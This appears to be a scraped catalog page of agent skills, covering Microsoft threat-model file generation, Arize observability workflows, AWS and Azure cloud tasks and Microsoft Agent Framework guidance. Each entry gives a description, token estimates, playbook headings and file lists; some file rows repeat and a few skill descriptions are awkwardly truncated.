SKILL.mdcore10,525 bytesSKILL.mdcore10,525 bytesSKILL.mdcore10,525 bytesreferences/analysis-principles.mddoc29,493 bytesreferences/diagram-conventions.mddoc18,865 bytesreferences/incremental-orchestrator.mddoc34,213 bytesreferences/orchestrator.mddoc54,889 bytesreferences/output-formats.mddoc59,462 bytesreferences/skeletons/skeleton-architecture.mddoc6,229 bytesreferences/skeletons/skeleton-assessment.mddoc11,312 bytesreferences/skeletons/skeleton-dfd.mddoc3,376 bytesreferences/skeletons/skeleton-findings.mddoc7,827 bytesreferences/skeletons/skeleton-incremental-html.mddoc5,400 bytesreferences/skeletons/skeleton-inventory.mddoc5,426 bytesreferences/skeletons/skeleton-stride-analysis.mddoc6,319 bytesreferences/skeletons/skeleton-summary-dfd.mddoc2,822 bytesreferences/skeletons/skeleton-threatmodel.mddoc2,214 bytesreferences/tmt-element-taxonomy.mddoc8,658 bytesreferences/verification-checklist.mddoc71,278 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubtm7-threat-model
When your agent uses it
Creates valid Microsoft Threat Modeling Tool (.tm7) files compatible with the Microsoft Threat Modeling Tool v7.3+. Use when asked to create, generate, or modify a .tm7 threat model file, or when performing STRIDE threat modeling that should output a .tm7 file that opens cleanly in the Microsoft Threat Modeling Tool.
What it loads into context
Frontmatter
85 tokensAlways available to the agent
SKILL.md
4,965 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Procedure
- CRITICAL serialization format
- Required namespace prefixes
- File structure (correct order)
- Stencil elements
- Data flow lines
- Property attribute types
- Threat instances
- Gotchas
- Progressive disclosure and bundled resources
- Reference asset
- Output template
- Quality gate
- References
Files
SKILL.mdcore18,278 bytesassets/example-minimal.tm7asset1,111,365 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubdoc-and-modernize
When your agent uses it
Two related workflows for a locally-cloned codebase, in one skill. Use this skill when enforced*** — i.e. whether any workflow is a **required status check /; branch-protection rule** that actually blocks merges, versus one that merely; runs — since that distinction is a manual, human-configured setting that.
What it loads into context
Frontmatter
82 tokensAlways available to the agent
SKILL.md
2,922 tokensWhen the skill is activated
Reference documents
14,184 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Mode selection
- Documentation mode
- Extended reference
- Progressive disclosure and bundled resources
- Output template
- Quality gate
Files
SKILL.mdcore12,864 bytesSKILL.mdcore12,864 bytesSKILL.mdcore12,864 bytesSKILL.mdcore12,864 bytesreferences/copilot-instructions.template.mddoc7,897 bytesreferences/extended-guide.mddoc38,426 bytesreferences/migration-hazards.mddoc14,189 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubarize-ai-provider-integration
When your agent uses it
Create, list, inspect, update, and delete Arize AI integrations that store LLM provider credentials for evaluators and Arize features. Use this skill when connecting OpenAI, Anthropic, Azure OpenAI, AWS Bedrock, Vertex AI, Gemini, NVIDIA NIM, or custom providers to Arize; managing AI integration credentials; listing integrations; rotating keys; deleting integrations; or finding integration IDs.
What it loads into context
Frontmatter
132 tokensAlways available to the agent
SKILL.md
2,933 tokensWhen the skill is activated
Reference documents
1,572 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Concepts and fields
- List and inspect integrations
- Create integrations
- Update and delete integrations
- Troubleshooting
- Progressive disclosure and bundled resources
- Related primitives
- Arize command vocabulary
- Output template
- Quality gate
- References
Files
SKILL.mdcore11,442 bytesSKILL.mdcore11,442 bytesSKILL.mdcore11,442 bytesSKILL.mdcore11,442 bytesSKILL.mdcore11,442 bytesSKILL.mdcore11,442 bytesSKILL.mdcore11,442 bytesSKILL.mdcore11,442 bytesreferences/ax-profiles.mddoc4,605 bytesreferences/ax-setup.mddoc1,529 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubarize-annotation
When your agent uses it
Create, inspect, update, and use Arize annotation configs and annotation queues, then bulk-apply human labels to spans with the Python SDK. Use when asked for "annotation config", "annotation queue", "label schema", "human feedback", "bulk annotate spans", "update_annotations", "labeling queue", "annotate record", or "human review".
What it loads into context
Frontmatter
120 tokensAlways available to the agent
SKILL.md
2,916 tokensWhen the skill is activated
Reference documents
1,572 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Progressive disclosure and bundled resources
- Annotation concepts
- Annotation config commands
- Annotation queue commands
- Python SDK span annotations
- Troubleshooting
- Related primitives
- Gotchas
- Output template
- Quality gate
Files
SKILL.mdcore12,316 bytesSKILL.mdcore12,316 bytesSKILL.mdcore12,316 bytesSKILL.mdcore12,316 bytesSKILL.mdcore12,316 bytesSKILL.mdcore12,316 bytesSKILL.mdcore12,316 bytesSKILL.mdcore12,316 bytesreferences/ax-profiles.mddoc4,605 bytesreferences/ax-setup.mddoc1,529 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubarize-dataset
When your agent uses it
Creates, manages, and queries Arize datasets and examples. Covers dataset CRUD, appending examples, exporting data, and file-based dataset creation using the ax CLI. Use when the user needs test data, evaluation examples, or mentions create dataset, list datasets, export dataset, append examples, dataset version, golden dataset, or test set.
What it loads into context
Frontmatter
114 tokensAlways available to the agent
SKILL.md
4,347 tokensWhen the skill is activated
Reference documents
1,572 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Dataset identity and scope
- Concepts and data model
- Prerequisites and context
- List Datasets: `ax datasets list`
- Get Dataset: `ax datasets get`
- Export Dataset: `ax datasets export`
- Create Dataset: `ax datasets create`
- Append Examples: `ax datasets append`
- Delete Dataset: `ax datasets delete`
- Procedure
- Dataset Example Schema
- Related primitives
- Troubleshooting
- Output template
- Quality gate
Files
SKILL.mdcore17,249 bytesSKILL.mdcore17,249 bytesSKILL.mdcore17,249 bytesSKILL.mdcore17,249 bytesSKILL.mdcore17,249 bytesSKILL.mdcore17,249 bytesSKILL.mdcore17,249 bytesSKILL.mdcore17,249 bytesSKILL.mdcore17,249 bytesSKILL.mdcore17,249 bytesSKILL.mdcore17,249 bytesSKILL.mdcore17,249 bytesSKILL.mdcore17,249 bytesSKILL.mdcore17,249 bytesSKILL.mdcore17,249 bytesSKILL.mdcore17,249 bytesreferences/ax-profiles.mddoc4,605 bytesreferences/ax-setup.mddoc1,529 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubarize-evaluator
When your agent uses it
Create, update, and run Arize LLM-as-judge evaluators and tasks for spans, traces, sessions, projects, datasets, and experiments. Use when the user mentions create evaluator, LLM judge, hallucination, faithfulness, correctness, relevance, run eval, score spans, score experiment, trigger-run, column mapping, continuous monitoring, or evaluator prompt improvement.
What it loads into context
Frontmatter
124 tokensAlways available to the agent
SKILL.md
2,233 tokensWhen the skill is activated
Reference documents
7,138 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Evaluator model
- Task model and granularity
- Template design rules
- Limits
- Progressive disclosure and bundled resources
- Related primitives
- Output template
- Quality gate
- References
Files
SKILL.mdcore9,535 bytesreferences/ax-profiles.mddoc4,605 bytesreferences/ax-setup.mddoc1,529 bytesreferences/evaluator-crud-workflows.mddoc22,315 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubarize-experiment
When your agent uses it
Create, run, export, compare, delete, and troubleshoot Arize experiments with the ax CLI, including real model inference, run files, evaluations, result analysis, and dataset-linked experiment workflows. Use this skill when the user asks to create experiment, run experiment, compare models, evaluate AI, benchmark prompts, A/B test models, export experiment results, measure accuracy, or inspect experiment runs in Arize.
What it loads into context
Frontmatter
128 tokensAlways available to the agent
SKILL.md
3,565 tokensWhen the skill is activated
Reference documents
1,572 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Core concepts
- Experiment commands
- Run file schema
- Procedure
- Export and comparison analysis
- Troubleshooting
- Progressive disclosure and bundled resources
- Related primitives
- Technical index
- Output template
- Quality gate
- References
Files
SKILL.mdcore14,036 bytesSKILL.mdcore14,036 bytesSKILL.mdcore14,036 bytesSKILL.mdcore14,036 bytesSKILL.mdcore14,036 bytesSKILL.mdcore14,036 bytesSKILL.mdcore14,036 bytesSKILL.mdcore14,036 bytesreferences/ax-profiles.mddoc4,605 bytesreferences/ax-setup.mddoc1,529 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubarize-instrumentation
When your agent uses it
Adds Arize AX tracing to an LLM application for the first time. Use when the user wants to instrument their app, add tracing from scratch, set up LLM observability, integrate OpenTelemetry or OpenInference, or get started with Arize tracing.
What it loads into context
Frontmatter
146 tokensAlways available to the agent
SKILL.md
8,117 tokensWhen the skill is activated
Reference documents
1,141 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Invocation context
- Quick start
- Criteria
- Procedure
- Phase 0: Environment preflight
- Phase 1: Analysis (read-only)
- Integration routing and docs
- Phase 2: Implementation
- Enriching traces: manual spans for tool use and agent loops
- Verification
- Leveraging the Tracing Assistant (MCP)
- Reference link catalog
- Save Credentials for Future Use
- Progressive disclosure and bundled resources
- Output template
- Quality gate
- References
Files
SKILL.mdcore32,623 bytesSKILL.mdcore32,623 bytesSKILL.mdcore32,623 bytesreferences/ax-profiles.mddoc4,623 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubarize-link
When your agent uses it
Generate Arize UI deep links for traces, spans, sessions, datasets, labeling queues, evaluators, and annotation configs using base64 org and space IDs, resource IDs, and trace/session time windows. Use when the user wants to link to, open, share, or debug an Arize trace, span, session, dataset, queue, evaluator, or annotation config.
What it loads into context
Frontmatter
105 tokensAlways available to the agent
SKILL.md
1,799 tokensWhen the skill is activated
Reference documents
593 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Inputs
- ID validation
- URL templates
- Time range rules
- Procedure
- Troubleshooting
- Progressive disclosure and bundled resources
- Related primitives
- Output template
- Quality gate
- References
Files
SKILL.mdcore6,651 bytesreferences/EXAMPLES.mddoc2,059 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubarize-prompt-optimization
When your agent uses it
Optimizes, improves, and debugs LLM prompts using production trace data, evaluations, and annotations. Extracts prompts from spans, gathers performance signal, and runs a data-driven optimization loop using the ax CLI. Use when the user mentions optimize prompt, improve prompt, make AI respond better, improve output quality, prompt engineering, prompt tuning, or system prompt improvement.
What it loads into context
Frontmatter
124 tokensAlways available to the agent
SKILL.md
5,172 tokensWhen the skill is activated
Reference documents
1,572 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Arize workspace context
- Concepts
- Prerequisites and context
- Phase 1: Extract the current prompt
- Phase 2: Gather performance data
- Phase 3: Optimize the prompt
- Phase 4: Iterate
- Prompt engineering best practices
- Workflows
- Troubleshooting
- Progressive disclosure and bundled resources
- Output template
- Quality gate
- References
Files
SKILL.mdcore22,226 bytesSKILL.mdcore22,226 bytesSKILL.mdcore22,226 bytesSKILL.mdcore22,226 bytesSKILL.mdcore22,226 bytesSKILL.mdcore22,226 bytesSKILL.mdcore22,226 bytesSKILL.mdcore22,226 bytesSKILL.mdcore22,226 bytesSKILL.mdcore22,226 bytesSKILL.mdcore22,226 bytesSKILL.mdcore22,226 bytesSKILL.mdcore22,226 bytesSKILL.mdcore22,226 bytesSKILL.mdcore22,226 bytesSKILL.mdcore22,226 bytesSKILL.mdcore22,226 bytesreferences/ax-profiles.mddoc4,605 bytesreferences/ax-setup.mddoc1,529 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubarize-trace
When your agent uses it
Download, export, inspect, and root-cause existing Arize traces, spans, sessions, errors, prompts, retrieval documents, model calls, and behavior regressions with the ax CLI. Use when asked to look at existing trace data, export traces by trace ID, export spans by span ID, download a session, investigate LLM app runtime issues, or analyze Arize behavior regressions.
What it loads into context
Frontmatter
124 tokensAlways available to the agent
SKILL.md
4,654 tokensWhen the skill is activated
Reference documents
1,572 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Core concepts and identifiers
- Export commands
- Export flags and safety rules
- Filters and columns
- Span column reference
- Troubleshooting
- Exact CLI and OpenInference vocabulary
- Related primitives
- Output template
- Quality gate
- References
Files
SKILL.mdcore18,266 bytesSKILL.mdcore18,266 bytesreferences/ax-profiles.mddoc4,605 bytesreferences/ax-setup.mddoc1,529 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubautomate-this
When your agent uses it
Analyze a screen recording of a repetitive manual workflow, extract frames and optional narration, reconstruct the process, and produce tested automation scripts. Use this skill when the user asks to automate a recorded task, turn a screen recording into a script, replace repetitive browser, spreadsheet, email, file-management, terminal, or macOS GUI steps, or create dry-run automation.
What it loads into context
Frontmatter
90 tokensAlways available to the agent
SKILL.md
2,256 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Inputs
- Prerequisites and context
- Procedure
- Extraction commands
- Process reconstruction
- Environment fingerprint
- Automation strategy matrix
- Proposal tiers
- Automation terminology
- Output template
Files
SKILL.mdcore9,262 bytesSKILL.mdcore9,262 bytesSKILL.mdcore9,262 bytesSKILL.mdcore9,262 bytesSKILL.mdcore9,262 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubsuggest-awesome-github-copilot-agents
When your agent uses it
Suggest relevant GitHub Copilot custom agent files from the github/awesome-copilot repository by comparing repository context with available agents, detecting already installed or outdated local .github/agents/*.agent.md files, and presenting a no-install table. Use when the user asks to suggest awesome GitHub Copilot custom agents, find agents to add, compare local agents with awesome-copilot, or update outdated custom agents.
What it loads into context
Frontmatter
108 tokensAlways available to the agent
SKILL.md
1,869 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Analysis procedure
- Relevance criteria
- Version comparison rules
- Installation and update rules
- Examples
- Gotchas
- Output template
- Quality gate
- References
Files
SKILL.mdcore8,689 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubsuggest-awesome-github-copilot-instructions
When your agent uses it
Suggest relevant GitHub Copilot instruction files from the awesome-copilot repository by comparing repository context, chat needs, local .github/instructions files, and remote versions. Use this skill when the user asks what Copilot instructions to add, whether local instructions are outdated, or how to install/update awesome-copilot instructions without duplicates.
What it loads into context
Frontmatter
89 tokensAlways available to the agent
SKILL.md
2,071 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Procedure
- Local inventory rules
- Version comparison rules
- Relevance criteria
- Output table requirements
- Installation and update rules
- Gotchas
- Output template
- Quality gate
- References
Files
SKILL.mdcore10,115 bytesSKILL.mdcore10,115 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubsuggest-awesome-github-copilot-skills
When your agent uses it
Suggest relevant GitHub Copilot Agent Skills from the awesome-copilot repository by comparing remote skills with local repository skills, detecting missing or outdated skills, bundled assets, duplicates, and repository-fit gaps. Use when the user asks which awesome-copilot skills to install, update, compare, or recommend for the current repository.
What it loads into context
Frontmatter
88 tokensAlways available to the agent
SKILL.md
1,817 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Procedure
- Context analysis criteria
- Version comparison rules
- Skill structure checks
- Limits
- Output template
- Quality gate
- References
Files
SKILL.mdcore8,211 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubaws-cost-optimize
When your agent uses it
Analyze AWS resources used in the app (IaC files and/or resources in a target account/region) and optimize costs - creating GitHub issues for identified optimizations. Use this skill when the user asks for prerequisites.
What it loads into context
Frontmatter
59 tokensAlways available to the agent
SKILL.md
2,270 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Procedure
- Error Handling
- Output template
- Quality gate
Files
SKILL.mdcore9,244 bytesSKILL.mdcore9,244 bytesSKILL.mdcore9,244 bytesSKILL.mdcore9,244 bytesSKILL.mdcore9,244 bytesSKILL.mdcore9,244 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubaws-resource-health-diagnose
When your agent uses it
Diagnose AWS resource health with AWS CLI, CloudWatch metrics, CloudWatch Logs Insights, Performance Insights, CloudTrail correlation, severity classification, root cause analysis, and remediation plans. Use when the user asks for AWS resource health, issue diagnosis, CloudWatch troubleshooting, or remediation for EC2, Lambda, RDS, ECS, ALB, DynamoDB, SQS, or API Gateway.
What it loads into context
Frontmatter
97 tokensAlways available to the agent
SKILL.md
1,941 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Resource discovery
- Health indicators
- Logs and metrics analysis
- Severity and root cause
- Remediation planning
- Troubleshooting
- Compatibility vocabulary
- Output template
- Quality gate
- References
Files
SKILL.mdcore8,257 bytesSKILL.mdcore8,257 bytesSKILL.mdcore8,257 bytesSKILL.mdcore8,257 bytesSKILL.mdcore8,257 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubaws-resource-query
When your agent uses it
Answer natural-language questions about AWS resources by running strictly read-only AWS CLI queries. Use when asking about EC2, S3, RDS, Lambda, ECS, EKS, Secrets Manager, IAM, VPC, networking, messaging, `aws lambda list-event-source-mappings --query 'EventSourceMappings[].[FunctionArn,EventSourceArn,State,BatchSize]' --output table`, or current-state inventory.
What it loads into context
Frontmatter
103 tokensAlways available to the agent
SKILL.md
1,443 tokensWhen the skill is activated
Reference documents
5,285 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Safety contract
- Procedure
- Common query patterns
- Progressive disclosure and bundled resources
- Output formatting rules
- Troubleshooting
- Output template
- Quality gate
Files
SKILL.mdcore5,984 bytesSKILL.mdcore5,984 bytesSKILL.mdcore5,984 bytesreferences/intent-command-mapping.mddoc19,608 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubaws-well-architected-review
When your agent uses it
Review AWS workloads against the AWS Well-Architected Framework across Operational Excellence, Security, Reliability, Performance Efficiency, Cost Optimization, and Sustainability. Use when the user asks for an AWS well-architected review, IaC architecture assessment, WAF findings, risk classification, or GitHub issue remediation plan.
What it loads into context
Frontmatter
80 tokensAlways available to the agent
SKILL.md
2,093 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Discovery
- Pillar criteria
- Risk classification
- Issue templates
- Quality gate
- References
Files
SKILL.mdcore8,958 bytesSKILL.mdcore8,958 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubagentic-eval
When your agent uses it
Design evaluator-optimizer, reflection, rubric, LLM-as-judge, and test-driven refinement loops for AI agent outputs. Use when implementing self-critique, iterative improvement, quality gates, agent response evaluation, code refinement, or rubric-based scoring for generated code, reports, or analysis.
What it loads into context
Frontmatter
75 tokensAlways available to the agent
SKILL.md
1,591 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Evaluation loop patterns
- Implementation details
- Evaluation criteria
- Compatibility vocabulary
- Output template
- Quality gate
Files
SKILL.mdcore6,967 bytesSKILL.mdcore6,967 bytesSKILL.mdcore6,967 bytesSKILL.mdcore6,967 bytesSKILL.mdcore6,967 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubapim-ai-gateway
When your agent uses it
Design Azure API Management as the runtime AI gateway for model and tool traffic, including token-per-minute controls, token limits, quotas, multi-backend load-balanced backend pools, circuit breakers, semantic caching, token metrics, managed identity, and content safety. Use when fronting model deployments, enforcing token budgets, adding semantic cache, load balancing LLM endpoints, or governing tool API calls at runtime.
What it loads into context
Frontmatter
126 tokensAlways available to the agent
SKILL.md
1,689 tokensWhen the skill is activated
Reference documents
8,414 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Inputs
- Prerequisites and context
- Gateway capabilities
- Reference pattern
- Procedure
- Design boundaries
- Gotchas
- Related primitives
- Output template
- Quality gate
- References
Files
SKILL.mdcore8,165 bytesreferences/auth-best-practices.mddoc6,207 bytesreferences/patterns.mddoc6,786 bytesreferences/policies.mddoc9,375 bytesreferences/sdk/azure-ai-contentsafety-py.mddoc1,361 bytesreferences/sdk/azure-ai-contentsafety-ts.mddoc1,413 bytesreferences/sdk/azure-mgmt-apimanagement-dotnet.mddoc1,310 bytesreferences/sdk/azure-mgmt-apimanagement-py.mddoc1,028 bytesreferences/troubleshooting.mddoc7,881 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubazure-agentic-architecture-patterns
When your agent uses it
Provides a decision framework for production multi-agent and AI-native systems on GitHub and Azure AI Foundry. Use this skill when designing model routing, prompt caching, semantic caching, memory, context curation, RAG, tools, MCP, identity, guardrails, evaluation, observability, or cost controls.
What it loads into context
Frontmatter
140 tokensAlways available to the agent
SKILL.md
1,746 tokensWhen the skill is activated
Reference documents
3,687 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Criteria
- Output template
- Limits
- Gotchas
- Progressive disclosure and bundled resources
- Related primitives
- Quality gate
Files
SKILL.mdcore7,905 bytesSKILL.mdcore7,905 bytesreferences/caching.mddoc2,800 bytesreferences/context-curation.mddoc2,169 bytesreferences/evaluation-observability-cost.mddoc2,782 bytesreferences/guardrails-and-identity.mddoc2,521 bytesreferences/memory.mddoc2,213 bytesreferences/model-routing.mddoc2,359 bytesreferences/tools-and-mcp.mddoc2,448 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubazure-ai
When your agent uses it
Build on Azure AI services including AI Search, Speech, Azure OpenAI, and Document Intelligence, covering keyword, vector, hybrid, and semantic search, speech-to-text, text-to-speech, transcription, and OCR. Use when the user asks about AI Search, query search, vector search, hybrid search, semantic search, speech-to-text, text-to-speech, transcription, OCR, or converting text to speech.
What it loads into context
Frontmatter
160 tokensAlways available to the agent
SKILL.md
1,093 tokensWhen the skill is activated
Reference documents
5,672 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Services
- MCP Server (Preferred)
- AI Search Capabilities
- Speech Capabilities
- SDK Quick References
- Service Details
- Output template
- Quality gate
Files
SKILL.mdcore4,617 bytesreferences/auth-best-practices.mddoc6,207 bytesreferences/sdk/azure-ai-contentsafety-java.mddoc1,401 bytesreferences/sdk/azure-ai-contentsafety-py.mddoc1,361 bytesreferences/sdk/azure-ai-contentsafety-ts.mddoc1,413 bytesreferences/sdk/azure-ai-document-intelligence-dotnet.mddoc1,456 bytesreferences/sdk/azure-ai-document-intelligence-ts.mddoc1,573 bytesreferences/sdk/azure-ai-openai-dotnet.mddoc1,419 bytesreferences/sdk/azure-ai-transcription-py.mddoc1,210 bytesreferences/sdk/azure-ai-translation-text-py.mddoc1,345 bytesreferences/sdk/azure-ai-translation-ts.mddoc1,369 bytesreferences/sdk/azure-ai-vision-imageanalysis-java.mddoc1,325 bytesreferences/sdk/azure-ai-vision-imageanalysis-py.mddoc1,297 bytesreferences/sdk/azure-search-documents-dotnet.mddoc1,334 bytesreferences/sdk/azure-search-documents-py.mddoc1,561 bytesreferences/sdk/azure-search-documents-ts.mddoc1,259 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubazure-api-center
When your agent uses it
Design Azure API Center as the enterprise inventory and governance plane for APIs, agent tools, OpenAPI definitions, environments, deployments, metadata, linting, and MCP server discovery. Use when building an API or tool catalog, enforcing API standards, registering MCP servers, or making approved tools discoverable to agent builders.
What it loads into context
Frontmatter
97 tokensAlways available to the agent
SKILL.md
1,510 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Inputs
- Prerequisites and context
- Core concepts
- Governance model
- Procedure
- Platform fit
- Related primitives
- Gotchas
- Output template
- Quality gate
- References
Files
SKILL.mdcore7,157 bytesSKILL.mdcore7,157 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubazure-managed-redis-cache
When your agent uses it
Use when designing or provisioning Azure Managed Redis for cache, semantic cache, vector memory, session store, or agent memory in AI-native systems; produces SKU guidance, network and identity controls, Bicep deployment steps, and integration recommendations. DO NOT USE FOR: general agent architecture (use agentic-architecture-patterns), Foundry agent runtime design (use foundry-agent-blueprint), or general Azure infrastructure (use azure-infrastructure). Triggers include "design Redis semantic cache", "provision Azure Managed Redis", "add vector memory".
What it loads into context
Frontmatter
130 tokensAlways available to the agent
SKILL.md
1,440 tokensWhen the skill is activated
Reference documents
1,592 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Procedure
- Risk classification
- Limits
- Troubleshooting
- Output template
- Risks
Files
SKILL.mdcore6,710 bytesSKILL.mdcore6,710 bytesSKILL.mdcore6,710 bytesreferences/access-and-network.mddoc1,860 bytesreferences/semantic-cache.mddoc2,089 bytesreferences/session-store.mddoc1,411 bytesreferences/vector-memory.mddoc2,095 bytesscripts/redis-managed.bicepasset2,318 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubentra-agent-user
When your agent uses it
Create Agent Users in Microsoft Entra ID from Agent Identities, enabling AI agents to act as digital workers with user identity capabilities in Microsoft 365 and Azure environments. Use this skill when the user asks for skill: creating agent users in microsoft entra agent id.
What it loads into context
Frontmatter
67 tokensAlways available to the agent
SKILL.md
2,691 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Agent user model
- Prerequisites and context
- Architecture
- Procedure
- Provisioning times
- Agent user capabilities
- Agent user security constraints
- Troubleshooting
- Output template
- Quality gate
- References
Files
SKILL.mdcore11,435 bytesSKILL.mdcore11,435 bytesSKILL.mdcore11,435 bytesSKILL.mdcore11,435 bytesSKILL.mdcore11,435 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubfoundry-agent-sync
When your agent uses it
Create, register, deploy, update, and synchronize prompt-based Azure AI Foundry agents from a local JSON manifest using the Agent Service REST API. Use when users ask to sync Foundry agents, create agents in Foundry, push agents, update agent instructions, scaffold a foundry-agents.json manifest, or add sync scripts.
What it loads into context
Frontmatter
83 tokensAlways available to the agent
SKILL.md
1,940 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Manifest contract
- Procedure
- Sync implementation details
- REST API reference
- Troubleshooting
- Script and API vocabulary
- Output template
- Quality gate
Files
SKILL.mdcore7,924 bytesSKILL.mdcore7,924 bytesSKILL.mdcore7,924 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubfoundry-hosted-agent-copilotkit
When your agent uses it
Guide ongoing development of CopilotKit frontends connected over AG-UI to Microsoft Agent Framework agents and Azure AI Foundry hosted agents. Use when adding or gating tools, wiring human-in-the-loop approval, building generative UI, synchronizing shared state, debugging AG-UI event streams, upgrading preview packages, or deploying hosted agent updates.
What it loads into context
Frontmatter
91 tokensAlways available to the agent
SKILL.md
2,047 tokensWhen the skill is activated
Reference documents
8,689 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Architecture decision
- Procedure
- Tool and UI patterns
- Progressive disclosure and bundled resources
- Gotchas
- Output template
- Quality gate
Files
SKILL.mdcore9,163 bytesreferences/architecture.mddoc6,983 bytesreferences/deploy-loop.mddoc4,410 bytesreferences/hitl.mddoc10,429 bytesreferences/patterns.mddoc5,001 bytesreferences/troubleshooting.mddoc6,956 bytesreferences/upgrading.mddoc5,133 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubmicrosoft-agent-framework
When your agent uses it
Create, update, refactor, explain, or review Microsoft Agent Framework applications, agents, workflows, and migrations in .NET or Python. Use this skill when working with Microsoft Agent Framework, successor guidance for Semantic Kernel or AutoGen, Azure AI Foundry, Azure OpenAI, OpenAI providers, MCP tools, workflows, middleware, checkpointing, or language-specific samples.
What it loads into context
Frontmatter
90 tokensAlways available to the agent
SKILL.md
1,270 tokensWhen the skill is activated
Reference documents
347 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Language routing
- Shared implementation guidance
- Migration guidance
- Procedure
- Progressive disclosure and bundled resources
- Gotchas
- Output template
- Quality gate
- References
Files
SKILL.mdcore6,272 bytesreferences/dotnet.mddoc912 bytesreferences/python.mddoc848 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubsemantic-kernel
When your agent uses it
